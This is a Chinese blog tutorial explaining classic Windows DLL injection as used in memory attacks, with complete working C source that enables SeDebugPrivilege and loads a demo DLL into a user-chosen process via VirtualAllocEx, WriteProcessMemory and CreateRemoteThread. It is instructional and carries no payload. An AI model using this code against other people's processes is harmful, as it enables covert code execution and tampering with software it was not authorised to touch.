前两篇文章介绍了DLL的编写与加载,现在来讲一下在内存攻击中会使用到的DLL注入
附 : 转载请注明来源 enjoy5512的博客 http://blog.csdn.net/enjoy5512
DLL注入的一般步骤:
1, EnableDebugPriv(自己编写)获取远程进程的调试权限
2,OpenProcess获得要注入进程的句柄
3,VirtualAllocEx在远程进程中开辟出一段内存,长度为 strlen(dllname)+1;
4,WriteProcessMemory将Dll的名字写入第三步开辟出的内存中。
5,CreateRemoteThread将LoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
6,CloseHandle关闭进程和远程线程句柄
/////////////////////////////////////////////////////////////////////////////
// 文件名 : inject.c
// 作者 : enjoy5512 修改者 : enjoy5512 最后优化注释者 : enjoy5512
// 个人技术博客 : blog.csdn.net/enjoy5512
// 个人GitHub : github.com/whu-enjoy
// 描述 : 对用户给定的进程PID对所选进程进行dll注入
// 主要函数 :
// int EnableDebugPriv(const char *name) //获取调试权限
//
// 版本 : 最终确定版 完成日期 : 2016年6月1日 19:09:03
// 修改 :
// 参考文献 :
/////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
//函数说明开始
//==================================================================================
// 功能 : 获取进程的调试权限
// 参数 : const char *name
// (入口) name : 指向权限名称,我们这里用到SE_DEBUG_NAME
// #define SE_BACKUP_NAME TEXT("SeBackupPrivilege")
// #define SE_RESTORE_NAME TEXT("SeRestorePrivilege")
// #define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege")
// #define SE_DEBUG_NAME TEXT("SeDebugPrivilege")
// 返回 : -1表示获取权限失败, 0表示获取权限成功
// 主要思路 : 先打开进程令牌环,然后获得本地进程name所代表的权限类型的局部唯一ID
// 最后调整进程权限
// 调用举例 : EnableDebugPriv(SE_DEBUG_NAME)
// 日期 : 2016年6月1日 19:08:22(注释日期)
//==================================================================================
//程序说明结束
int EnableDebugPriv(const char *name)
{
HANDLE hToken; //进程令牌句柄
TOKEN_PRIVILEGES tp; //TOKEN_PRIVILEGES结构体,其中包含一个【类型+操作】的权限数组
LUID luid; //上述结构体中的类型值
//打开进程令牌环
//GetCurrentProcess()获取当前进程的伪句柄,只会指向当前进程或者线程句柄,随时变化
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
{
fprintf(stderr,"OpenProcessToken error\n");
return -1;
}
//获得本地进程name所代表的权限类型的局部唯一ID
if (!LookupPrivilegeValue(NULL, name, &luid))
{
fprintf(stderr,"LookupPrivilegeValue error\n");
}
tp.PrivilegeCount = 1; //权限数组中只有一个“元素”
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //权限操作
tp.Privileges[0].Luid = luid; //权限类型
//调整进程权限
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
fprintf(stderr,"AdjustTokenPrivileges error!\n");
return -1;
}
return 0;
}
//函数说明开始
//==================================================================================
// 功能 : DLL注入程序的入口函数
// 参数 :
// 返回 : 无
// 主要思路 : 首先得到需要注入的dll的绝对路径,然后获取远程进程的调试权限(XP下有的
// 进程写数据时需要调试权限),然后申请一块可读可写的内存,再将dll的绝对
// 路径写到远程进程刚申请的进程空间里,获取远程进程的LoadLibraryA函数的
// 地址,再开启一个远程线程,加载dll
// 日期 : 2016年6月1日 18:35:34(注释日期)
//==================================================================================
//函数说明结束
int main()
{
char lpDllName[260] = {0}; //保存dll绝对路径
HANDLE hProcess = NULL; //进程句柄
HANDLE hNewRemoteThread = NULL; //远程线程句柄
LPVOID lpLoadDll = LoadLibraryA; //LoadLibraryA的指针
LPVOID lpRemoteBuf = NULL; //远程进程存放dll绝对路径的控件地址指针
DWORD dwSize = 0; //dll绝对路径长度
DWORD dwNewThreadId = 0; //远程线程PID
DWORD dwWrite = 0; //实际写入远程进程空间的字节数
int pid = 0; //远程进程PID
GetCurrentDirectoryA(260, lpDllName); //获取当前程序目录
strcat(lpDllName, "\\dllDemo.dll"); //获取dll绝对路径
if(EnableDebugPriv(SE_DEBUG_NAME)) //获取远程进程调试权限
{
fprintf(stderr, "Add Privilege Failed!!\n");
}
printf("请输入要注入的进程pid : ");
scanf("%d", &pid); //输入远程进程PID
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); //打开远程进程句柄,获取全部权限
if (NULL == hProcess)
{
fprintf(stderr, "\n获取进程句柄失败!\n,错误码 : %d", GetLastError());
exit(1);
}
dwSize = strlen(lpDllName) + 1; //得到dll路径长度+1,这个是开辟远程进程空间的大小
lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); //申请远程进程一段可读可写的空间
if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwWrite)) //写入dll绝对路径
{
if (dwWrite != dwSize) //如果没有将路径写完,则释放申请的空间并退出
{
VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
CloseHandle(hProcess);
exit(2);
}
}
else //如果写入失败则报出错代码并退出
{
fprintf(stderr, "\n写入远程进程内存出错\n出错码 : %d", GetLastError());
CloseHandle(hProcess);
exit(3);
}
//开启远程线程,加载dll
hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
if(NULL == hNewRemoteThread) //如果开启线程失败,则报出错码并退出
{
fprintf(stderr, "\n建立远程线程失败\n错误码 : %d", GetLastError());
CloseHandle(hProcess);
exit(4);
}
//WaitForSingleObject(hNewRemoteThread, INFINITE);
CloseHandle(hProcess);
CloseHandle(hNewRemoteThread);
return 0;
}